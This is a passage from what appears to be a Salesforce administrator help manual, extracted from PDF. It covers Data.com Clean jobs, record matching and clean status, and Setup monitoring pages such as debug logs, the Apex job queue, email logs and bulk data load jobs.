no records have changed. This is called a full sync. In between these full syncs, based on the schedule you select, jobs will process
only records of enabled objects that have Not Compared clean status (likely because Salesforce records have changed since the
previous job was run). This is called an incremental sync.
1. Click Your Name > Setup > Data.com Administration > Clean > Jobs.
2. Select the days of the week when you want jobs to run.
3. Select your preferred start time.
Note: Jobs run independently, so their exact start times may vary.
897
4. Click Save.
See Also:
Viewing Data.com Clean Job History
Implementing Data.com Clean
Customize Application
The Clean Jobs History table lists recent clean jobs and provides related details.
If you schedule jobs for at least one day of the week, jobs will process all records of enabled objects once every two weeks, even if
no records have changed. This is called a full sync. In between these full syncs, based on the schedule you select, jobs will process
only records of enabled objects that have Not Compared clean status (likely because Salesforce records have changed since the
previous job was run). This is called an incremental sync.
If a job processes any recordswith or without errorswe provide a job log for you to view. Job logs provide details about the
number of records processed and matching results, or errors the jobs encountered at either the batch or entity (record) level.
Job logs are always produced after full syncs. We store job logs for seven days.
1. Click Your Name > Setup > Data.com Administration > Clean > Jobs.
2. View job details in the Clean Jobs History section. This table defines each column.
Column Heading
Definition
Date
Time Submitted
The time the job was submitted to the job queue. Jobs run
independently, so this might not be the exact time the job
was run.
Job Type
Job Status
898
Column Heading
Definition
Failed: the job failed to run.
Aborted: the job was aborted before or while it ran.
Errors
The type of error or errors, if any, the job had while it ran.
If a job encounters errors at the entity (record) level, youll
see Update in this column. If the job encounters a batch
error, youll see Batch. A dash indicates either no errors or
no data.
Job Log
A link to the job log, if any, which is a .csv file you can
download and open.
This column displays a dash () if no job has run.
3. If the job processed one or more records, with or without errors, you can click the View link in the Job Log column to
download the job log .csv file.
The first four columns provide data about the number of records processed and the match results. The last four provide
information about batch and entity (record) errors, if any. If the job had a batch error, youll see a single line with details.
If the job had entity errors, each file that produced an error will appear on its own line.
Column Heading
Records in batch
Matched count
Unmatched count
Inactive count
Batch error
Error
Entity ID
Entity error
899
Column Heading
See Also:
Scheduling Data.com Clean Jobs
Implementing Data.com Clean
If you clean your Salesforce account, contact, and lead data with Data.com Clean, its important to understand how your
Salesforce records are compared and matched with records from Data.com.
Salesforce and Data.com records can be compared and matched in two ways.
Manually, when a user clicks Clean on an individual account, contact, or lead record.
Via Clean jobs, which automatically attempt to match all your account, contact, or lead records.
Automated clean jobs are only available to organizations that purchase Data.com Clean. Manual clean is available to all licensed
Data.com users.
The first time a Salesforce record is cleanedeither manually or via automated jobthe matching engine searches Data.com
for similar records. It examines the field values in each record and looks for enough identical or similar information to indicate
that the two records represent the same entity (that isthe same account, contact, or lead). If Data.com finds a match, the
two records are linked by a numeric value in the Data.com Key field. The Data.com Key value is rematched every time the
Salesforce record is cleaned. If the Salesforce record changes substantially, the next time it is cleaned, the matching engine
may look for a better match from other Data.com records.
For the best chance at matching, its important that your Salesforce records have accurate and unique values for certain key
fields. For accounts, the key fields are:
Account Name
Billing Address (Street, City, State, Country, ZIP/Postal Code)
Website
Phone Number
Name
Account Name for contacts; Company for leads.
Title
900
Email - Ideally a direct email address rather than a group address like info@org.com. Identical Email values will
almost always trigger a match unless other values in the record conflict.
Note: Data.com does not store personal emails such as those from Gmail or Yahoo.
Important: Data.coms matching algorithm is designed to match at a high rate, while doing so very conservatively,
as an unmatched record is a far better outcome than a false-positive match (a wrongly matched record). The algorithm
considers all of the field values listed here when attempting to match records. The algorithm supports fuzzy matching,
so it is not necessary to have all of the Salesforce records field values populated, nor is it necessary that every value
be 100% accurate, but a match is more likely to occur if a field has no value than if it has a conflicting value.
From our analysis of customer data, weve found that match rates of around 40% are typical, but results can vary. To view your
own match and update rates, just go to the Data.com Metrics and Analytics page.
Here are some examples (both detailed and basic) that illustrate Clean matching.
You manually add an account record to Salesforce. Its a regional branch of a national financial institution (Wells Fargo
Bank) called Wells Fargo & Company. Its located at 420 Montgomery Street, San Francisco, CA,
941041207. Data.com also has a record for Wells Fargo & Company in Atlanta, Georgia. The value in the San
Francisco branch records Account Name field could represent either the Atlanta branch or the San Francisco branch,
but because the San Francisco records Billing Address value is unique, the account record has a good chance of
matching a record in Data.com, if one exists, and of remaining matched with that record unless the address changes
substantially.
You add a contact record from Data.com. The contact works for a large account, Boeing Corporation, and his title
is a fairly common one: Purchaser. The contacts name is unique, however. He also has a direct email address that
includes his name, and his phone number appears to be a direct-dial rather than a main number for the company. Because
it contains complete data for several of the five key fields, and three of those fields have unique values, the contact record
has an excellent chance of matching with a Data.com record, if one exists, and staying matched even if some of the key
fields (such as Phone or Email) or less important fields (such as Fax or Department) later change.
Your organization has an account record for Account Name Harvest Partners, Inc., and the value in its
Billing Address field is 280 Park Avenue Lobby 1, New York, NY 10017. Data.coms account master
has two potential matches for the account: Harvest Partners, Inc., at 280 Park Avenue Lobby 1, New York, NY 10017
(which is an exact match for your Salesforce record); and Harvest Partners, LP, 280 Park Avenue 25th Floor, New York,
NY 10017. Data.com will match its first record with yours because the name and address are identical.
Your organization has an account record for Account Name Illinois Paving Co., and the value in its Billing
Address field is PO Box 13490, Springfield, IL 627913490. Data.com has one potential match: Illinois
Division of Insurance, at 320 West Washington Street, Springfield, IL 627860002. Because the two company names are
not similar enough, Data.com will not match the two records.
Account Name Value in Salesforce
Should Match?
Vanco Energy
Yes
Yes
DOHERTY-WALLACE ASSOCIATES
No
Sunnyvale
No
901
Person First Name Value in Data.com Should Match (if Last Name Value is
the Same)?
Ed
Ed Van
Yes
Bill
William
Yes
Kyle T.
Diane T.
No
Mark
Mario
No
Contact Last Name Value in Salesforce Person Last Name Value in Data.com Should Match (if First Name Value is
the Same)?
Schoonenberg
Van Schoonenberg
Yes
Akbari
Ackbari
Yes
williams
williamson
No
Hamilton
Hilton
No
Should Match?
VP Marketing
Yes
marketing manager
engineering manager
No
Sales Representative
No
See Also:
Best Practices for Data.com Clean
Viewing Your Data.com Clean Record Match Rates
Reviewing Data.com Clean Match Results
Understanding Data.com Clean Status
Understanding Data.com User Types, Licenses, and Limits
D&B Company Fields
902
Customize Application
If you clean account, contact, or lead recordsmanually with Data.com or automatically with Data.com Cleanits important
that you check your match and update rates on a regular basis.
1. Click Your Name > Setup > Data.com Administration > Clean > Metrics & Analytics.
2. To find out when the last calculation occurred, check the Last Calculated field above the table.
Note: The data in the tables is calculated daily, but we store the time and calculate the date based on GMT, so
depending on time adjustments, the date shown may be different from the date when the calculations occurred.
3. View match and update information in the Match and Update Rates section. This table defines the columns in each of
the two tables.
Column
Definition
Records
Total
Processed
Matched
Updated
Column
Definition
Records
903
Column
Definition
See Also:
Understanding How Salesforce and Data.com Records are Matched
Implementing Data.com Clean
Customize Application
After you complete your Data.com Clean implementation and your first Clean jobs are complete, you should regularly review
your Data.com Clean match results to make sure your records are being matched accurately. Run the Accounts by Clean Status
report to get started.
Important: If your records appear to be matched incorrectly with Data.com records, you should consider carefully
before selecting Flag differences and auto-fill blank fields as a clean preference. If mismatches
occur with a large number of your records, contact Salesforce Support.
1. Click the Dashboards tab, then select Data.com Analytics. Run the Accounts by Clean Status report.
If your clean jobs have run successfully, youll find your accounts grouped by their clean status values.
Tip: Check out the topic Understanding Data.com Clean Status for definitions of all the clean status values.
2. On the report, find any Salesforce records with a clean status of Different. Open several records and click Clean to
look at the differences.
3. Repeat the comparison process with records that have a clean status of Not Found.
See Also:
Understanding How Salesforce and Data.com Records are Matched
904
Edit on accounts
Edit on contacts
Edit on leads
Use Data.com Clean to make sure your CRM records are always up to date.
Clean works for all the account, contact, and lead records you have access to in Salesforcenot just those you previously added
from Data.com.
If your organization uses Data.com Premium and you clean an account record that doesnt yet have a D&B Company record
linked to it, Salesforce will create one.
Note: If you clean your account records with the Data.com Corporate or Premium product or Data.com Clean,
Data.com converts non-USD currencies to USD every month, which may cause the values in this field to change. For
organizations that use non-USD currencies, we ignore the Annual Revenue field when determining a records clean
status (so the Clean Status fields value does not change). We also remove the value from the Annual Revenue
field on account records and the clean comparison page.
1. Check the records Clean Status field.
2. If the status is not In Sync, click Clean to open the comparison page and compare the Salesforce record with Data.coms.
Tip: From the Clean Status field, you can also get additional status information (such as which fields have
different data in Data.com) and then clean the record. Just click the status icon ( ) and the popup will guide you.
3. Compare the two records side by side. Youll see a check mark next to any Data.com field value that matches the
corresponding value in your Salesforce record.
4. Select the check box next to any Data.com value you want to accept.
5. Click Save when youre satisfied that the record is accurate, even if you dont accept any data from Data.com.
The Clean Status field reflects the records current status and its time stamp is updated to reflect your activity.
Note: If you click Cancel, your Salesforce records data wont be updated, but if Data.com finds a better match
for the record, the values in its Clean Status and Data.com Key fields may change. These two fields always
reflect the best match from Data.com as of the most recent clean process, whether the record was cleaned manually
(by you) or automatically (via Clean jobs).
If your organization uses Data.com Premium and youve cleaned an account record that doesnt yet have a D&B Company
record linked to it, Salesforce will create a D&B Company record and link it when you click Save. The next time you open
905
the comparison page, the linked record will be identified by its D-U-N-S Number in the D&B Company Record Linked
field.
See Also:
Comparing Salesforce and Data.com Data at a Glance
Understanding Data.com Clean Status
Working with a Record's Data.com Clean Status
Comparing Salesforce and Data.com Data at a Glance
Understanding Data.com Clean Status
Working with a Record's Data.com Clean Status
Account Fields
Contact Fields
Lead Fields
When you manually clean a Salesforce account, contact, or lead record, you compare the data in your Salesforce record with
data from Data.com. When you click the Clean button from a record, the comparison page appears. There youll see the
Salesforce records fields and values side by side with the Data.com records fields and values. If your organization uses Data.com
Corporate or Data.com Premium, the page includes the Dun and Bradstreet (D&B) fields provided with those products.
Cleaning records is easier if you understand how to read and use the comparison page. Heres what youll find there.
906
1. The columns present Salesforce and Data.com records side by side, so you can easily compare the data from each source.
2. Field names appear on the left. If a field is blank, that means the source (Salesforce or Data.com) has no data for that field.
Note: Some account and lead fields are available only to organizations that purchase Data.com Corporate or
Data.com Premium.
3. If your Salesforce data matches Data.coms youll see a green checkmark ( ) for that field in the Data.com column.
4. If Data.com has data for a field thats blank or different in Salesforce, youll see a checkbox. Select it to accept Data.coms
data.
5. If you use Data.com Premium, when you clean an account record, we create a D&B Company record, if one doesnt yet
exist, and link it to the account. The D&B Company record is identified on the comparison page.
907
6. By default, fields that have identical data are hidden. Click Show Identical Fields to see them all, along with the
fields that have different data (as in this example). If there are a lot of fields, a scroll bar may appear. To hide identical
fields, click Hide Identical Fields.
7. The Select All and Clear All links do just what they say.
8. Click Save when youre satisfied that you have the data you want, even if you dont make any changes. The Salesforce
records clean status will be updated to Reviewed or In Sync. If you click Cancel, your Salesforce records data wont
be updated, but if Data.com finds a better match for the record, the values in its Clean Status and Data.com Key
fields may change. These two fields always reflect the best match from Data.com as of the most recent clean process,
whether the record was cleaned manually (by you) or automatically (via Clean jobs).
Note: You cant see the entire D-U-N-S Number value for an account (on the comparison page or the account card)
until the account has been added to Salesforce from Data.com or (for existing records) cleaned with Data.com. Until
you add or clean the record, the numbers first five digits are masked with asterisks (*).
See Also:
Cleaning Records With Data.com Clean
D&B Companies Overview
If you use Data.com, the Salesforce CRM records you have access to show a status message in the Clean Status field.
To clean a record is to bring it up to date with the values you wanteither accepting some or all of the latest values from
Data.com, or keeping all of the values in the Salesforce record. If a user has compared two records and opted to keep one or
more values from the Salesforce record, the records status is Reviewed. If the Data.com and Salesforce records are identical,
either before or after theyve been compared by a user, the Salesforce records clean status is In Sync. Both Reviewed and
In Sync records are considered to be clean.
This table explains each clean status message and tells you how to clean records in other states (such as Not Compared and
Different).
Clean Status
Not Compared
Definition
908
Clean Status
Definition
Reviewed
Different
The Salesforce record has different data Click Clean and compare the records
from the corresponding Data.com record. side by side. Accept or skip Data.com
values as appropriate.
The Salesforce record remains in
Different status until:
Not Found
909
Clean Status
Inactive
Definition
The Data.com record corresponding to You currently cant clean records whose
the Salesforce record has been marked status is Inactive.
inactive. A record may be inactive if it
includes an invalid email address or the
company is no longer in business.
See Also:
Cleaning Records With Data.com Clean
Working with a Record's Data.com Clean Status
Customize Application
To back up data:
Data Export
Customize Application
Customize Application
Here are some tips and best practices for implementing, monitoring, and working with Data.com Clean.
Check your match and update rates on the Clean Metrics & Analytics page. There, youll find information about the total
number of records cleaned, how many have been matched, and how many have been updated. Figures represent records
processed manually and automatically, and reflect your rates since your organization implemented Data.com Clean.
Schedule regular backups of your account, contact, and lead data. Its always a good practice, and if your Salesforce records
are ever matched inappropriately, you can revert to previous versions. Backups are most important if you use automated
clean jobs that auto-fill blank fields.
910
Set up field history tracking for accounts, contacts, and leads. Field history tracking helps you identify changes to field
values and tracks who made changes and when.
See Also:
Viewing Your Data.com Clean Record Match Rates
Understanding How Salesforce and Data.com Records are Matched
Reviewing Data.com Clean Match Results
The Clean Status field on account, contact, and lead records shows you the records Data.com Clean status at a glance,
including when the status was last updated. But if you click the icon next to the status, youll get more status details, plus
options for refreshing the status. Depending on the status, you can also clean some records right from the Clean Status
field. Heres an example that shows some of your options.
1. This records status is Different because when it was last compared, one week before, the records in Salesforce and
Data.com had different values for some or all of their fields. The user who compared the records previously may have:
Click the icon to view the popup, which provides additional information and Clean options.
2. This line tells you about the Salesforce records most recent comparison activity.
In this case, a user compared the Salesforce account record with Data.coms version one week ago.
3. This section provides more details about the comparison. In this case, Data.com had different Email, Phone, and Mailing
Address values for the contact.
4. You can click the Clean... link to compare the Salesforce and Data.com records yourself.
If you click Cancel, the records clean status will remain Different. If you click Save, even if you havent accepted any
Data.com values, the records clean status will be Reviewed.
911
Monitoring
See Also:
Cleaning Records With Data.com Clean
Understanding Data.com Clean Status
MONITORING
Using the Import Queue
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions
Administrators can check the Import Queue to view details about an import or to cancel an organization import. Import details
are removed from the queue three days after completion.
1. Click Your Name > Setup > Monitoring > Imports.
2. Select the file name of the import file to see the Import Queue Detail page for that file.
If you want to cancel an import, and the import has not started processing, click Del. You cannot cancel an import after it has
started processing.
The possible values of the Status column are listed below:
Status
Description
Aborted
The import did not complete successfully. The error details are emailed to the user who performed the
import. Aborted imports can be retried within three days, but, if multiple retry attempts are made, the
import cannot remain in the queue for more than 30 days from the original import attempt.
Completed
Error
The import was processed and errors were encountered. The error details are emailed to the user who
performed the import. The user can fix the errors, and then attempt the import again.
Pending
The import is in the queue but has not started processing yet.
912
Monitoring
Status
Description
Processing
See Also:
Importing Overview
An outbound message is a workflow, approval, or milestone action that sends the information you specify to an endpoint you
designate, such as an external service. An outbound message sends the data in the specified fields in the form of a SOAP
message to the endpoint.
To track the status of an outbound message, click Your Name > Setup > Monitoring > Outbound Messages. Alternatively,
click Your Name > Setup > Create > Workflow & Approvals > Outbound Messages, and then click View Message Delivery
Status. Here you can view the status of your outbound messages:
The Next items for delivery related list contains all outbound messages that are awaiting delivery.
The Oldest failures in queue related list contains the oldest failures that have not yet been deleted (because they have not
been delivered and are not 24 hours old).
The Failed outbound messages related list contains all the outbound messages that failed to be delivered and are no longer
being retried. Messages are listed here only if you configure the message when you create it by selecting Add failures
to failed outbound message related list. For more information, see Defining Outbound Messages on page
1806. If you do not see this related list, it has not been enabled for your organization. Contact your salesforce.com
representative.
913
Monitoring
Note: If you don't have this option, your organization doesn't have outbound messages enabled. Contact salesforce.com
to enable outbound messages.
See Also:
Managing Outbound Messages
Workflow and Approvals Overview
When a workflow rule that has time-dependent actions is triggered, use the workflow queue to view pending actions and
cancel them if necessary.
To view pending actions:
1. Click Your Name > Setup > Monitoring > Time-Based Workflow.
2. Click Search to view all pending actions for any active workflow rules, or set the filter criteria and click Search to view
only the pending actions that match the criteria. The filter options are:
The filter is not case-sensitive. For more information on filters, see Entering Filter Criteria on page 2961.
To cancel pending actions:
1. Select the box next to the pending actions you want to cancel. Optionally, check the box in the column header to select all
currently displayed items.
914
Monitoring
2. Click Delete.
See Also:
Managing Workflow Rules
Creating Workflow Rules
Time-Dependent Action and Time Trigger Considerations
Administrator tip sheet: Workflow: Automating The Process
When Salesforce triggers an entitlement process that has time-dependent milestone actions, use the entitlement process queue
to view pending actions and cancel them, if necessary.
To view pending actions:
1. Click Your Name > Setup > Monitoring > Entitlement Processes.
2. Click Search to view all pending actions for any active workflow rules, or set the filter criteria and click Search to view
only the pending actions that match the criteria. The filter options are:
Entitlement Process Name
The entitlement process.
Case Number
The case's automatically generated identifying number.
Milestone Name
The milestone that triggered the action.
Evaluation Date
The date the evaluated actions are scheduled to occur.
Created Date
The creation date of the case that triggered the entitlement process.
Username
The user who updated the case to trigger an entitlement process.
The filter is not case-sensitive. See Entering Filter Criteria on page 2961.
To cancel pending actions:
915
Monitoring
1. Select the box next to the pending actions you want to cancel. Optionally, check the box in the column header to select all
currently displayed items.
2. Click Delete.
See Also:
Entitlement Management Overview
When Salesforce triggers a case escalation rule that has time-dependent actions, use the escalation rule queue to view pending
actions and cancel them if necessary.
To view pending actions:
1. Click Your Name > Setup > Monitoring > Case Escalations.
2. Click Search to view all pending actions for any active case escalation rule, or set the filter criteria and click Search to view
only the pending actions that match the criteria. The filter options are:
Case To Escalate
The Case Number of the escalated case. The Case Number is a unique, automatically generated number used for
identifying the case.
Escalation Rule
The name of the rule used to escalate the case.
Rule Entry
The order in which the rule entry will be processed. A rule entry is a condition that determines how a case escalation
rule is processed. Each escalation rule can have a maximum of 3000 rule entries.
Escalation Action
The time criteria specified for the case to escalate as defined in the rule entry.
Ignore Business Hours
Indicates if the Ignore Business Hours checkbox is selected on the rule entry, meaning that the rule entry is in
effect at all times and ignores your organization's business hours.
Escalate At
The date and time at which the case will escalate as defined in the rule entry. Dates and times display in the time
zone of the user viewing the escalation rule queue.
916
Monitoring
Added Date
The date and time at which the case was added to the queue. Dates and times display in the time zone of the user
viewing the escalation rule queue.
The filter is not case-sensitive. For more information on filters, see Entering Filter Criteria on page 2961.
To cancel pending actions:
1. Select the box next to the pending actions you want to cancel. Optionally, check the box in the column header to select all
currently displayed items.
2. Click Delete. Salesforce cancels the pending action.
See Also:
Creating Escalation Rules
Viewing and Editing Escalation Rules
API Enabled
When you create a request usage notification, you specify an administrator to receive an email notification whenever your
organization exceeds a specified limit for the number of API requests made in a specified span of hours. For more information
on API request limits, see Force.com API Usage Limits on page 2161.
To view existing API usage notifications, click Your Name > Setup > Monitoring > API Usage Notifications.
From the notifications list, you can do any of the following:
917
Monitoring
See Also:
Creating and Editing API Usage Notifications
Viewing API Usage Notifications
Documentation Resources for Force.com Developers
API Enabled
On the API usage notifications detail page, you can view information about a notification:
Notification RecipientThe username for the person to whom the email notification is sent.
ThresholdThe percent of the usage limit that, when reached, triggers an email notification.
Notification Interval (Hours)The frequency at which the notifications are sent. For example, if the notification interval
is four hours, a notification is sent only if the last notification was sent at least four hours ago. Thus, during a 24-hour
period, a maximum of six notifications will be sent.
Created ByThe user who created the notification request, and the time it was created.
Modified ByThe user who last edited the notification.
On this page, you can also create a new notification based on the values of the notification being displayed. Click Clone to
create a new notification with the current values populated in the new notification. You can edit the values before saving.
See Also:
About API Usage Notifications
Creating and Editing API Usage Notifications
Force.com API Usage Limits
Documentation Resources for Force.com Developers
918
Monitoring
API Enabled
On the API usage metering edit page accessible via Your Name > Setup > Monitoring > API Usage Notifications, you can
supply the required values for a rate-limiting notification:
See Also:
About API Usage Notifications
Viewing API Usage Notifications
Force.com API Usage Limits
Documentation Resources for Force.com Developers
Use the mass email queue to view the status of scheduled mass emails and cancel mass emails if necessary.
919
Monitoring
To view the mass emails you have scheduled, click Your Name > Setup > Email > My Mass Emails. If you have permission
to view all mass emails in your organization, click Your Name > Setup > Monitoring > Mass Email.
From these pages, you can:
The mass email queue shows the number of recipients that the mass email was addressed to and sent to. These numbers may
differ because:
The mass email would cause your organization to exceed its daily mass email limit. Salesforce does not send the message
to any of the intended recipients in this case.
One or more selected recipients opted out of receiving mass email after the mass email was scheduled but before it was
processed.
One or more selected recipient email addresses were removed from the contact or lead after the mass email was scheduled
but before it was processed.
The user who sent the mass email was deactivated after the mass email was scheduled but before it was processed. Salesforce
does not send mass emails scheduled by a user who is deactivated.
See Also:
Sending Mass Email
Manage Users
You can retain and manage the debug logs for specific users.
Transactions can be generated from the following:
To view saved debug logs, click Your Name > Setup > Monitoring > Debug Logs.
920
Monitoring
From this page, click New to specify a user that you want to retain debug logs for.
After you have specified a user or users to retain debug logs for, you can:
See Also:
Apex Code Overview
What is a Debug Log?
Retaining Debug Logs
Viewing Debug Logs
Setting Debug Log Filters
About Apex Unit Tests
Developer's Guide: Force.com Apex Code Developer's Guide
Manage Users
You can retain and manage the debug logs for specific users.
The following are the limits for debug logs:
Once a user is added, that user can record up to 20 debug logs. After a user reaches this limit, debug logs stop being recorded
for that user. Click Reset on the Monitoring Debug logs page to reset the number of logs for that user back to 20. Any
existing logs are not overwritten.
Each debug log can only be 2 MB. Debug logs that are larger than 2 MB in size are truncated.
Each organization can retain up to 50 MB of debug logs. Once your organization has reached 50 MB of debug logs, the
oldest debug logs start being overwritten.
To specify that a user should have his or her debug logs retained:
1. Click Your Name > Setup > Monitoring > Debug Logs, then click New.
2. Click the checkbox next to the user or users for whom you want to retain debug logs. Only users with a checkbox next to
their names don't currently have their debug logs retained.
921
Monitoring
3. Click Save.
See Also:
What is a Debug Log?
Monitoring Debug Logs
Viewing Debug Logs
Setting Debug Log Filters
Developer's Guide: Force.com Apex Code Developer's Guide
Author Apex
Author Apex
Customize Application
You can retain and manage the debug logs for specific users.
To view the details of a debug log, click Your Name > Setup > Monitoring > Debug Logs, and then click View next to the
debug log you want to examine. Click Download to download the log as an XML file.
The debug log contains information about the transaction, such as if it was successful, the size of the log (in bytes), how long
the transaction took in milliseconds, and so on. The log itself contains additional information about the transaction, depending
on the filters set for the user.
Inspecting the Debug Log Sections
After you generate a debug log, the type and amount of information listed depends on the filter values you set for the user.
However, the format for a debug log is always the same.
A debug log has the following sections:
Header
The header contains the following information:
922
Monitoring
In this example, the API version is 25.0, and the following debug log categories and levels have been set:
Apex Code
DEBUG
Apex Profiling
INFO
Callout
INFO
Database
INFO
System
DEBUG
Validation
INFO
Visualforce
INFO
Workflow
INFO
Execution Units
An execution unit is equivalent to a transaction. It contains everything that occurred within the transaction. The execution
is delimited by EXECUTION_STARTED and EXECUTION_FINISHED.
Code Units
A code unit is a discrete unit of work within a transaction. For example, a trigger is one unit of code, as is a webService
method, or a validation rule.
Note: A class is not a discrete unit of code.
Units of code are indicated by CODE_UNIT_STARTED and CODE_UNIT_FINISHED. Units of work can embed other
units of work. For example:
EXECUTION_STARTED
CODE_UNIT_STARTED|[EXTERNAL]execute_anonymous_apex
CODE_UNIT_STARTED|[EXTERNAL]MyTrigger on Account trigger event BeforeInsert for [new]
CODE_UNIT_FINISHED <-- The trigger ends
CODE_UNIT_FINISHED <-- The executeAnonymous ends
EXECUTION_FINISHED
Units of code include, but are not limited to, the following:
Triggers
Workflow invocations and time-based workflow
Validation rules
Approval processes
Apex lead convert
@future method invocations
923
Monitoring
Log Lines
Included inside the units of code. These indicate what code or rules are being executed, or messages being specifically
written to the debug log. For example:
timestamp: consists of the time when the event occurred and a value between parentheses. The time is in the user's
time zone and in the format HH:mm:ss.SSS. The value represents the time elapsed in nanoseconds since the start
of the request. The elapsed time value is excluded from logs reviewed in the Developer Console.
event identifier: consists of the specific event that triggered the debug log being written to, such as SAVEPOINT_RESET
or VALIDATION_RULE, and any additional information logged with that event, such as the method name or the line
and character number where the code was executed.
Cumulative resource usageLogged at the end of many code units, such as triggers, executeAnonymous, batch
Apex message processing, @future methods, Apex test methods, Apex web service methods, and Apex lead convert.
Cumulative profiling informationLogged once at the end of the transaction. Contains information about the most
expensive queries (that used the most resources), DML invocations, and so on.
924
Monitoring
See Also:
Setting Debug Log Filters
Monitoring Debug Logs
Setting Debug Log Filters
Developer's Guide: Force.com Apex Code Developer's Guide
The All Scheduled Jobs page lists all analytic snapshots, scheduled Apex jobs, and dashboards scheduled to refresh.
To view this page, click Your Name > Setup > Monitoring > Scheduled Jobs. Depending on your permissions, you can
perform some or all of the following actions:
925
Monitoring
The next date and time at which the scheduled job will run
The type of scheduled job
See Also:
Analytic Snapshots Overview
Scheduling a Dashboard Refresh
To view any background jobs in your organization (such as sharing rule recalculation jobs), select Your Name > Setup >
Monitoring > Background Jobs. The All Background Jobs page shows the details of background jobs.
You can only monitor background jobs on this page. To abort a job, contact salesforce.com.
The Apex job queue lists all Apex jobs that have been submitted for execution. Jobs that have completed execution are listed,
as well as those that are not yet finished, including:
Apex methods with the future annotation that have not yet been executed. Such jobs are listed as Future in the Job Type
column, and do not have values in the Total Batches or Batches Processed columns.
Scheduled Apex jobs that have not yet finished executing. Such jobs are listed as Scheduled Apex in the Job Type column,
and do not have values in the Total Batches or Batches Processed columns.
Apex sharing recalculation batch jobs that have not yet finished execution. Such jobs are listed as Sharing Recalculation
in the Job Type column. The records in a sharing recalculation job are automatically split into batches. The Total Batches
column lists the total number of batches for the job. The Batches Processed column lists the number of batches that have
already been processed.
Batch Apex jobs that have not yet finished execution. Such jobs are listed as Batch Apex in the Job Type column. The
records in a batch Apex job are automatically split into batches. The Total Batches column lists the total number of batches
for the job. The Batches Processed column lists the number of batches that have already been processed.
Note: Sharing recalculation batch jobs are currently available through a limited release program. For information on
enabling Apex sharing recalculation batch jobs for your organization, contact salesforce.com.
926
Monitoring
The Status column lists the current status of the job. The possible values are:
Status
Description
Queued
Preparing
The start method of the job has been invoked. This status
might last a few minutes depending on the size of the batch
of records.
Processing
Aborted
Completed
Failed
If one or more errors occur during batch processing, the Status Details column gives a short description of the first error. A
more detailed description of that error, along with any subsequent errors, is emailed to the user who started the running batch
class.
To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. This is especially useful if you want to view only future methods, or view only Apex batch jobs. To
edit or delete any view you created, select it from the View drop-down list and click Edit.
Only one batch Apex job's start method can run at a time in an organization. Batch jobs that havent started yet remain in
the queue until they're started. Note that this limit doesnt cause any batch job to fail and execute methods of batch Apex
jobs still run in parallel if more than one job is running.
For any type of Apex job, you can click Abort Job in the Action column to stop all processing for that job.
All batch jobs that have completed execution are removed from the batch queue list seven days after completion.
For more information about Apex, see the Force.com Apex Code Developer's Guide.
See Also:
Monitoring Scheduled Jobs
Apex Code Overview
Developer's Guide: Force.com Apex Code Developer's Guide
927
Monitoring
Email logs are CSV files that contain information about all email sent through Salesforce over the last 30 days. Logs contain
data such as:
To request a new email log, click Request an Email Log. Due to the volume of email processed through Salesforce, requests
are queued in the order that they are received. Email logs should be available within 30 minutes of your request. For more
information, see Requesting an Email Log on page 929.
The pending email log requests list provides the status on email log requests that have not yet completed. You can have a
maximum of three pending log requests at any time.
The email log errors list provides descriptions for requests that failed.
To resubmit a request that failed, click Resubmit.
To delete a request that failed, click Del.
Caution: You cannot resubmit a failed request if it requires data that has exceeded the 30 day limit, or if you
already have three pending requests.
To download an email log, click Download (.zip). Email logs are CSV files contained within a compressed file. Logs
contribute to your overall file storage limits. For more information, see Monitoring Resources on page 752.
To delete an email log, click Del.
For a summary of the information returned from an email log, see Viewing Email Logs on page 929.
928
Monitoring
See Also:
Viewing Email Logs
The following table describes the format of the log file and lists examples of its fields:
929
Monitoring
Column
Field
Description
Example
Date/Time
3/06/2009 13:37
Internal Message ID
Event
Recipient
admin@acme.com
Sender
user@acme.com
Remote Host
10.0.0.1
Bytes Transferred
11856
User ID
930
Monitoring
Column
Field
Description
Example
Message ID Header
21749386.
106091224027705044.
JavaMail.
sfdc@na2-app4-2-sjl.
ops.sfdc.net
Retry Count
Seconds in Queue
Delivery Stage
during RCPT TO
BANNER
The SMTP connection
response
EHLO
The beginning of the
session with the mail
server
STARTTLS
Establishes a secure
communication session
with the email server
MAIL FROM
Announces the sender of
the email
RCPT TO
Announces the recipient
of the email
DATA
Announces that the
subsequent text is the
email message
931
Monitoring
Column
Field
Description
Example
BODY
The state when the body
of the email is being sent
to the recipient
RSET
Resets the server state,
ending the session
In addition, there are
responses that may appear at
any point during the delivery
sequence:
while not connected
The client is trying to
establish a connection
while idle
The client has connected,
but is not sending or
receiving any commands
reading confirmation
A command was sent and
the client is waiting for a
response
handshaking TLS
An error occurred while
trying to establish a
secure connection
out of band bounce
The receiving server
accepted a command, but
then for an unknown
reason rejected it
in unknown state
An unknown error has
occurred
M
Relay Host
relay.my.org
Relay Port
587
932
Monitoring
Column
Field
Description
Example
Delivery Status
Notification
Preliminary reply
The command was
accepted, but no response
has been sent
2xx - Positive
Completion reply
The requested action has
successfully completed
3xx - Positive
Intermediate reply
The command was
accepted, but the
requested action needs
more information
4xx - Transient
Negative Completion
reply
The command was not
accepted and the
requested action did not
occur. However, the error
condition is temporary
and the action may be
requested again.
5xx - Permanent
Negative Completion
reply
The command was not
accepted and the
requested action did not
933
Monitoring
Column
Field
Description
Example
occur
Every email service provider
implements the codes
differently, so there is no
comprehensive list for what
the second or third digits
indicate.
For more information on these
codes, view the official SMTP
documentation, section 4.2.1:
http://
www.ietf.org/rfc/rfc2821.txt
?number=2821
See Also:
What Are Email Logs?
You can create update, or delete a large volume of records with the Bulk API, which is optimized for processing large sets of
data. It makes it simple to load, update, or delete data from a few thousand to millions of records. Processing a large amount
of records takes some time. This page allows you to monitor the progress of current jobs and the results of recent jobs.
Process a set of records by creating a job that contains one or more batches. The job specifies which object is being processed
and what type of action is being used (query, insert, upsert, update, or delete). A batch is a set of records sent to the server in
an HTTP POST request. Each batch is processed independently by the server, not necessarily in the order it is received.
To track the status of bulk data load jobs that are in progress or recently completed, click Your Name > Setup > Monitoring
> Bulk Data Load Jobs.
The In Progress Jobs list contains the following columns, shown in alphabetical order:
Column
Description
Job ID
934
Monitoring
Column
Description
Object
The object type for the data being processed. All data in a job must be of a single object type.
Operation
The processing operation for all the batches in the job. The valid values are:
delete
insert
query
upsert
update
hardDelete
Progress
The percentage of batches processed relative to the total number of batches submitted. Progress is not
shown when the job is open because the total number of batches in the job is not known until the job is
closed. Progress may not accurately reflect the number of records processed. Batches may not all contain
